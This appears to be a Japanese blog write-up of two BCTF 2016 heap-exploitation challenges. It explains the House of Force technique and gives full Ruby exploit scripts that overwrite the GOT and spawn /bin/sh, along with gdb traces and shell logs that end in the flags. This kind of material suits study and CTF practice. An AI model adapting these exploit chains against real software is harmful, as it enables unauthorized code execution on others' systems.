しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

BCTF 2016 writeup

BCTF 2016にscryptosで参加しました。

チームで2011pts入れて16位、
私は2問解いて350pts入れました(少ないorz)

解けた問題のwriteupを置いておきます(`・ω・´)

ruin (exploit 200)

$ ./ruin.7b694dc96bf316a40ff7163479850f78
please input your 8-bit key:security
==============================================
=    Welcome to super security strongbox     =
==============================================
= Update your key to make your secret safer! =
==============================================
1. update key.
2. edit the secret.
3. sign your name.
4. leave & return.
Give me your choice(1-4):wrong choice, select again!
==============================================
=    Welcome to super security strongbox     =
==============================================
= Update your key to make your secret safer! =
==============================================
1. update key.
2. edit the secret.
3. sign your name.
4. leave & return.
Give me your choice(1-4):4
Thanks for using our service. Goodbye!

ARMのヒープ問。

主な仕様はこんな感じ。

  • 最初にsecret用にmalloc(8)した後、8-bit keyなるものの入力を求められる
    • securityと入力すれば通過できるが、2回までなら間違えてもOK(3回間違えると終了)
    • 入力が8バイトで、かつ"security"ではない場合は、ヒープのアドレスがリークする
  • メインメニュー
    • 1.update key
      • 16-bit keyなるものの入力を求められる
      • 初回のみmallocで領域が確保される
    • 2.edit the secret
      • secretを入力できる
      • heap bofのバグがある
    • 3.sign your name
      • 初回に限りnameを入力できる
      • 長さが指定でき、指定した大きさの領域をmallocで確保する
      • 32バイト以上は指定できないようになっている……と思いきや、負数の入力は通る
    • 4.leave & return
      • mallocで確保した領域をすべて解放し、プログラムを終了する

この問題はHouse of Forceと呼ばれるテクニックを使って解くことができる。

House of Forceとは、以下の条件が成り立つとき、mallocが返すアドレスをコントロールできる、というテクニック。

  1. ヒープのアドレスをリークできる
  2. topチャンクのsizeメンバを書き換えられる
  3. 任意サイズ(特にsigned intで負数とみなされる数)のmallocが呼べる

以下雑な解説(詳しい話が知りたい方はmallocのソースを読みつつGoogle先生に聞いてみてください)

* topチャンクについて
+--bss--+     +------------heap----------------
|       |     |
+-------+-----+----------+---------------------
|       |     |   used   |
+-------+-----+----------+---------------------
                          ↑top chunk(使えそうな空きチャンクがない場合、次回のmallocではここの領域が使われる)

* malloc(24)した場合
+--bss--+     +------------heap----------------
|       |     |
+-------+-----+----------+--------+------------
|       |     |   used   |  used  |
+-------+-----+----------+--------+------------
                                   ↑top chunk(確保した分だけ先頭が後ろにずれる)

* malloc(0xffffe000)した場合
+--bss--+     +------------heap----------------
|       |     |
+-------+-----+----------+---------------------
|       |     |   used   |  used
+-------+-----+----------+---------------------
    ↑top chunk(後ろにずれすぎて整数オーバフローした)
※ただし、(unsigned)top->size >= (unsigned)(要求サイズ + α) が成り立つ場合にtopチャンクが使われるので、
  事前にtop->sizeを0xffffffff等に書き換えておく必要がある

ということで、House of Forceを使ってgot周辺にメモリを確保できるか、

  1. 8-bit key入力部でヒープアドレスリーク
  2. heap bofでtopチャンクのsizeを0xffffffffに書き換える
  3. topチャンクがgotになるよう、mallocで非常に大きな領域を確保する
  4. 再度malloc

という手順で試してみる。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = false
if remote
    host = "166.111.132.49"
    port = 9999
else
    host = "localhost"
    port = 54321
end

got = {
    "atoi" => 0x10f80
}

def update_key(tube, key)
    tube.recv_until("Give me your choice(1-4):")
    tube.send("1\n")
    tube.recv_until("enter the new 16-bit key:")
    tube.send(key)
end

def edit_secret(tube, secret)
    raise if secret.include?("\n")

    tube.recv_until("Give me your choice(1-4):")
    tube.send("2\n")
    tube.recv_until("please input your secret:")
    tube.send(secret + "\n")
end

def sign(tube, size, name)
    size = [size].pack("L").unpack("l")[0]
    raise if size > 32 || (name && name.include?("\n"))

    tube.recv_until("Give me your choice(1-4):")
    tube.send("3\n")
    tube.recv_until("please input your name length:")
    tube.send("#{size}\n")
    tube.recv_until("enter your name:")
    tube.send(name + "\n") if name
end

PwnTube.open(host, port, nil){|tube|

    # ヒープアドレスリーク
    puts "[*] leak heap base"
    tube.recv_until("please input your 8-bit key:")
    tube.send("A" * 8)
    heap_base = tube.recv_capture(/#{"A" * 8}(.{3,4}) is wrong/)[0].ljust(4, "\0").unpack("L")[0] - 8
    top_chunk = heap_base + 0x10
    puts "heap base = 0x%08x" % heap_base

    puts "[*] send 8-byte key"
    tube.recv_until("please input your 8-bit key:")
    tube.send("security")

    # heap bofでtop->sizeを0xffffffffに書き換える
    puts "[*] overwrite top->size"
    payload = ""
    payload << "\0" * 12
    payload << [-1].pack("L")
    edit_secret(tube, payload)

    # topチャンクがgotになるよう、mallocで非常に大きな領域を確保する
    puts "[*] trigger house of force"
    sign(tube, (got["atoi"] - top_chunk) - 16, nil)

    tube.interactive
}

手順3が終わった時点で一旦止めて、topチャンクがどこになっているかを確認してみる。

gdb-peda$ cat /proc/2609/maps
00008000-00009000 r-xp 00000000 b3:02 1046534    /home/user/ctf/bctf_2016/exp200_ruin/ruin.7b694dc96bf316a40ff7163479850f78
00010000-00011000 rw-p 00000000 b3:02 1046534    /home/user/ctf/bctf_2016/exp200_ruin/ruin.7b694dc96bf316a40ff7163479850f78
00011000-00032000 rw-p 00000000 00:00 0          [heap]
76ef8000-76ef9000 rw-p 00000000 00:00 0
76ef9000-76fd3000 r-xp 00000000 b3:02 399505     /lib/arm-linux-gnueabihf/libc-2.13.so
76fd3000-76fdb000 ---p 000da000 b3:02 399505     /lib/arm-linux-gnueabihf/libc-2.13.so
76fdb000-76fdd000 r--p 000da000 b3:02 399505     /lib/arm-linux-gnueabihf/libc-2.13.so
76fdd000-76fde000 rw-p 000dc000 b3:02 399505     /lib/arm-linux-gnueabihf/libc-2.13.so
76fde000-76fe1000 rw-p 00000000 00:00 0
76fe1000-76ff7000 r-xp 00000000 b3:02 399502     /lib/arm-linux-gnueabihf/ld-2.13.so
76ffc000-76ffe000 rw-p 00000000 00:00 0
76ffe000-76fff000 r--p 00015000 b3:02 399502     /lib/arm-linux-gnueabihf/ld-2.13.so
76fff000-77000000 rw-p 00016000 b3:02 399502     /lib/arm-linux-gnueabihf/ld-2.13.so
7efdf000-7f000000 rw-p 00000000 00:00 0          [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]
gdb-peda$ p main_arena->top
$4 = (mchunkptr) 0x10f78 ←main_arena->topがgotを指すようになった

この状態で再度mallocさせてみる。

gdb-peda$ xuntil 0x87f0
Temporary breakpoint 2 at 0x87f0
[------------------------------------------registers-------------------------------------------]
SP : 0x7efff358 --> 0x7efff36c --> 0x8b50 --> 0xe3a03000
R0 : 0x10f80 --> 0x76f202fd --> 0x1220a21 ←gotのアドレスが返ってきた
R1 : 0x40000000
R2 : 0x20000000
R3 : 0x0
R4 : 0x0
R5 : 0x7efff388 --> 0x0
R6 : 0x8630 --> 0xe3a0b000
R7 : 0x0
R8 : 0x0
R9 : 0x0
R10: 0x76fff000 --> 0x1df48 --> 0x0
R11: 0x7efff35c --> 0x8ae4 --> 0xea000009
R12: 0x76fde288 --> 0x76fde280 --> 0x10f90 --> 0x0
CPSR: 0x60000010
[---------------------------------------------code---------------------------------------------]
   0x87e4:  bne 0x8800
   0x87e8:  mov r0, #16
   0x87ec:  bl  0x85dc
=> 0x87f0:  mov r3, r0
   0x87f4:  mov r2, r3
   0x87f8:  ldr r3, [pc, #60]   ;; 0x883c
   0x87fc:  str r2, [r3]
   0x8800:  ldr r3, [pc, #56]   ;; 0x8840
[--------------------------------------------stack---------------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Temporary breakpoint 2, 0x000087f0 in ?? ()

ここで確保した領域に対して書き込みを行えばgot overwriteができる。

このプログラムではmallocで確保した領域に対して書き込みしか出来ないため、

  1. got overwriteでatoiprintfに書き換える
  2. stack based fsbができるようになるので、これを利用してlibcのベースアドレスを調べる
  3. 再度got overwriteでatoisystemに書き換える
  4. system("/bin/sh")でシェルを立ち上げる

という手順で攻略した。

ただし、リモートのlibcが与えられていないため、

  1. ブルートフォースでlibcのベースアドレスを調べる
  2. libcのベースアドレスにあるELFヘッダをfsbを使って読み、libcのエントリポイントのアドレスを調べる
  3. ipをlibcのエントリポイントに飛ばす

という手順でリモートのlibcのbannerを表示させ、リモートのlibcを特定した。

GNU C Library (Debian EGLIBC 2.13-38+rpi2+deb7u8) stable release version 2.13, by Roland McGrath et al.
Copyright (C) 2011 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.6.3.
Compiled on a Linux 3.2.51 system on 2015-03-15.
Available extensions:
        crypt add-on version 2.1 by Michael Glad and others
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        Support for some architectures added on, not maintained in glibc core.
        BIND-8.2.3-T5B
libc ABIs: UNIQUE
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "166.111.132.49"
    port = 9999
    libc_offset = {
        "__libc_start_main_ret" => 0x1781c,
        "system" => 0x03a8b8
    }
else
    host = "localhost"
    port = 54321
    libc_offset = {
        "__libc_start_main_ret" => 0x16cfb,
        "system" => 0x2e7c9
    }
end

offset = {
    "printf" => 0x8594,
    ".plt" => 0x8574
}
got = {
    "atoi" => 0x10f80
}

def update_key(tube, key)
    tube.recv_until("Give me your choice(1-4):")
    tube.send("1\n")
    tube.recv_until("enter the new 16-bit key:")
    tube.send(key)
end

def edit_secret(tube, secret)
    raise if secret.include?("\n")

    tube.recv_until("Give me your choice(1-4):")
    tube.send("2\n")
    tube.recv_until("please input your secret:")
    tube.send(secret + "\n")
end

def sign(tube, size, name)
    size = [size].pack("L").unpack("l")[0]
    raise if size > 32 || (name && name.include?("\n"))

    tube.recv_until("Give me your choice(1-4):")
    tube.send("3\n")
    tube.recv_until("please input your name length:")
    tube.send("#{size}\n")
    tube.recv_until("enter your name:")
    tube.send(name + "\n") if name
end

PwnTube.open(host, port, nil){|tube|

    puts "[*] leak heap base"
    tube.recv_until("please input your 8-bit key:")
    tube.send("A" * 8)
    heap_base = tube.recv_capture(/#{"A" * 8}(.{3,4}) is wrong/)[0].ljust(4, "\0").unpack("L")[0] - 8
    top_chunk = heap_base + 0x10
    puts "heap base = 0x%08x" % heap_base

    puts "[*] send 8-byte key"
    tube.recv_until("please input your 8-bit key:")
    tube.send("security")

    puts "[*] overwrite top->size"
    payload = ""
    payload << "\0" * 12
    payload << [-1].pack("L")
    edit_secret(tube, payload)

    puts "[*] trigger house of force"
    sign(tube, (got["atoi"] - top_chunk) - 16, nil)

    puts "[*] got overwrite (atoi->printf)"
    payload = ""
    payload << [offset["printf"]].pack("L")
    payload << [offset[".plt"]].pack("L") * 3
    update_key(tube, payload)

    puts "[*] leak libc base"
    tube.recv_until("Give me your choice(1-4):")
    tube.send("%21$08x\n")
    libc_base = tube.recv_capture(/([0-9a-f]{8})/)[0].to_i(16) - libc_offset["__libc_start_main_ret"]
    puts "libc base = 0x%08x" % libc_base

    puts "[*] got overwrite (atoi->system)"
    tube.recv_until("Give me your choice(1-4):")
    tube.send("\n")  # printfは表示した文字数を戻り値として返すので、1文字表示させればメニューの1番を選択できる
    tube.recv_until("enter the new 16-bit key:")
    payload = ""
    payload << [libc_base + libc_offset["system"]].pack("L")
    payload << [offset[".plt"]].pack("L") * 3
    tube.send(payload)

    puts "[*] trigger shell"
    tube.recv_until("Give me your choice(1-4):")
    tube.send("/bin/sh\0\n")

    tube.interactive
}
$ ruby ruin.rb
[*] leak heap base
heap base = 0x004be000
[*] send 8-byte key
[*] overwrite top->size
[*] trigger house of force
[*] got overwrite (atoi->printf)
[*] leak libc base
libc base = 0x76e6a000
[*] got overwrite (atoi->system)
[*] trigger shell
[*] interactive mode
id
uid=1001(ruin) gid=1002(ruin) groups=1002(ruin)
ls -la
total 20
drwxr-xr-x 2 root root 4096 Mar 18 14:25 .
drwxr-xr-x 4 root root 4096 Mar 18 12:22 ..
-rw-r--r-- 1 root root   26 Mar 18 14:26 flag
-rwxr-xr-x 1 root root 5484 Mar 18 12:26 ruin
cat flag
BCTF{H0w_3lf_Ru1n3d_XmaS}
exit

FLAG:BCTF{H0w_3lf_Ru1n3d_XmaS}

bcloud (exploit 150)

$ ./bcloud.9a3bd1d30276b501a51ac8931b3e43c4
Input your name:
hoge
Hey hoge! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
hoge
Host:
hoge
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
6
Bye!

x86なメモ管理アプリ。

主な仕様はこんな感じ。

  • 全般
    • 文字列入力用の関数にoff by one bofがある
  • 最初にname, Org, Hostの入力を求められる
    • 文字列入力用の関数にbofがあるため、strcpyでheap bofする上、ヒープのアドレスもリークする
  • メインメニュー
    • 1.New note
      • メモを登録する
      • 長さが指定でき、指定した大きさ+4バイトの領域をmallocで確保する
      • 相変わらず長さに負数が指定できる
    • 2.Show note
      • メモ管理アプリなのにまさかの未実装
    • 3.Edit note
      • メモを編集する
    • 4.Delete note
      • 登録時に確保した領域をfreeし、メモを削除する
    • 5.Syn
      • メモのsyncフラグを立てる
    • 6.Quit
      • おわり

ruinに続き、この問題もHouse of Forceができる。

  1. name入力時のheap bofでヒープアドレスをリーク
  2. Org, Host入力時のheap bofでtopチャンクのsizeを0xffffffffに書き換える
  3. New note時のmallocの引数に負数を指定し、topチャンクの先頭をgotに移動させる
  4. 再度New noteするとmallocでgotのアドレスが返ってくるので、got overwriteでatoiprintfに書き換える
  5. あとはruinと同じ

という手順で攻略した。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "104.199.132.199"
    port = 1970
    libc_offset = {
        "_IO_2_1_stderr_" => 0x1aa960,
        "system" => 0x40190,
    }
else
    host = "localhost"
    port = 54321
    libc_offset = {
        "_IO_2_1_stderr_" => 0x1aa960,
        "system" => 0x40190,
    }
end

offset = {
    "memset@got.plt" => 0x08048576,
    "printf" => 0x080484d0
}
got = {
    "atoi" => 0x0804b03c
}

class PwnTube
    def recv_until_prompt
        self.recv_until("option--->>\n")
    end
end

def add_note(tube, length, content)
    length = [length].pack("L").unpack("l")[0]

    tube.recv_until_prompt
    tube.sendline("1")
    tube.recv_until("Input the length of the note content:\n")
    tube.sendline("#{length}")
    tube.recv_until("Input the content:\n")
    tube.send(content) if content
end

def edit_note(tube, id, content)
    tube.recv_until_prompt
    tube.sendline("3")
    tube.recv_until("Input the id:\n")
    tube.sendline("#{id}")
    tube.recv_until("Input the new content:\n")
    tube.send(content)
end

def delete_note(tube, id)
    tube.recv_until_prompt
    tube.sendline("4")
    tube.recv_until("Input the id:\n")
    tube.sendline("#{id}")
end

def synchronize(tube)
    tube.recv_until_prompt
    tube.sendline("5")
end

PwnTube.open(host, port){|tube|

    puts "[*] leak heap address"
    tube.recv_until("Input your name:\n")
    tube.send("A" * 64)
    heap_base = tube.recv_capture(/#{"A" * 64}(.{,4}!)/)[0].ljust(4, "\0").unpack("L")[0] - 8
    top_chunk = heap_base + 0xd8
    puts "heap base = 0x%08x" % heap_base

    puts "[*] overwrite top->size"
    tube.recv_until("Org:\n")
    tube.send("A"* 64)
    tube.recv_until("Host:\n")
    tube.sendline([-1].pack("L"))

    puts "[*] trigger house of force"
    add_note(tube, (got["atoi"] - top_chunk - 24) & 0xffffffff, nil)

    puts "[*] got overwrite (atoi->printf)"
    payload = ""
    payload << [offset["memset@got.plt"]].pack("L")
    payload << [offset["printf"]].pack("L")
    add_note(tube, 12, payload + "\n")

    puts "[*] leak libc base"
    tube.recv_until_prompt
    tube.send("%24$p\n")
    libc_base = tube.recv_capture(/(0x[0-9a-f]+)Invalid option/)[0].to_i(16) - libc_offset["_IO_2_1_stderr_"]
    puts "libc base = 0x%08x" % libc_base

    puts "[*] got overwrite (atoi->system)"
    tube.recv_until_prompt
    tube.send("%3c\0\n")
    tube.recv_until("Input the id:\n")
    tube.send("%c\0\n")
    payload = ""
    payload << [offset["memset@got.plt"]].pack("L")
    payload << [libc_base + libc_offset["system"]].pack("L")
    tube.send(payload + "\n")

    puts "[*] trigger shell"
    tube.recv_until_prompt
    tube.send("/bin/sh\0\n")

    tube.interactive
}
$ ruby bcloud.rb
[*] connected
[*] leak heap address
heap base = 0x09bdb000
[*] overwrite top->size
[*] trigger house of force
[*] got overwrite (atoi->printf)
[*] leak libc base
libc base = 0xf759f000
[*] got overwrite (atoi->system)
[*] trigger shell
[*] interactive mode
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
ls -la
total 72
drwxr-xr-x  42 root root 4096 Mar 20 10:17 .
drwxr-xr-x  42 root root 4096 Mar 20 10:17 ..
-rwxr-xr-x   1 root root    0 Mar 20 02:38 .dockerenv
-rwxr-xr-x   1 root root    0 Mar 20 02:38 .dockerinit
drwxr-xr-x   2 root root 4096 Mar 15 04:35 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
drwxr-xr-x   5 root root  360 Mar 20 02:38 dev
drwxr-xr-x  65 root root 4096 Mar 20 02:38 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x  14 root root 4096 Mar 20 02:38 lib
drwxr-xr-x   2 root root 4096 Mar 15 04:34 lib64
drwxr-xr-x   2 root root 4096 Mar 15 04:34 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Mar 15 04:34 opt
dr-xr-xr-x 470 root root    0 Mar 20 02:38 proc
drwx------   2 root root 4096 Mar 20 03:26 root
drwxr-xr-x   7 root root 4096 Mar 15 04:34 run
drwxr-xr-x   2 root root 4096 Mar 15 23:03 sbin
drwxr-xr-x   2 root root 4096 Mar 15 04:34 srv
dr-xr-xr-x  13 root root    0 Mar 18 17:16 sys
drwxrwxrwt   2 root root 4096 Mar 20 02:38 tmp
drwxr-xr-x  15 root root 4096 Mar 20 02:38 usr
drwxr-xr-x  17 root root 4096 Mar 20 10:17 var
cat /tmp/flag
BCTF{3asy_h0uSe_oooof_f0rce}
[*] connection closed

フラグが/tmpに入っている問題は初めてだった(小並感)

FLAG:BCTF{3asy_h0uSe_oooof_f0rce}